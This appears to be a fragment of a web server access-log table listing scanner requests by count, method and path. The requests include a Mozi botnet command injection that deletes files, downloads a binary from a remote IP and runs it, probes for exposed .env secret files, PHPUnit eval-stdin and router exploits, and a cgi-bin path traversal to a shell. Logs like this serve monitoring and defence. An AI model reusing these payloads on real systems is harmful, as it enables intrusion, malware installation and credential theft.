1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+http[:]//202[.]137[.]216[.]186:58743/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws |
HTTP/1.1 |
1 | GET | /site/.env |
HTTP/1.1 |
1 | GET | /sitemap.xml |
HTTP/1.1 |
1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
1 | GET | /src/.env |
HTTP/1.1 |
1 | GET | /system/.env |
HTTP/1.1 |
2 | GET | /template/index2/assets/css/index720.css |
HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
1 | GET | /vod_installer/.env |
HTTP/1.1 |
1 | GET | /vue/.env |
HTTP/1.1 |
1 | GET | /web/.env |
HTTP/1.1 |
1 | HEAD | /robots.txt |
HTTP/1.0 |
1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
1 | POST | /HNAP1/ |
HTTP/1.1 |
1 | POST | /HNAP1/ |
HTTP/1.0 |
1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
1 | POST | /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh |
HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
1 | PRI | * |
HTTP/2.0 |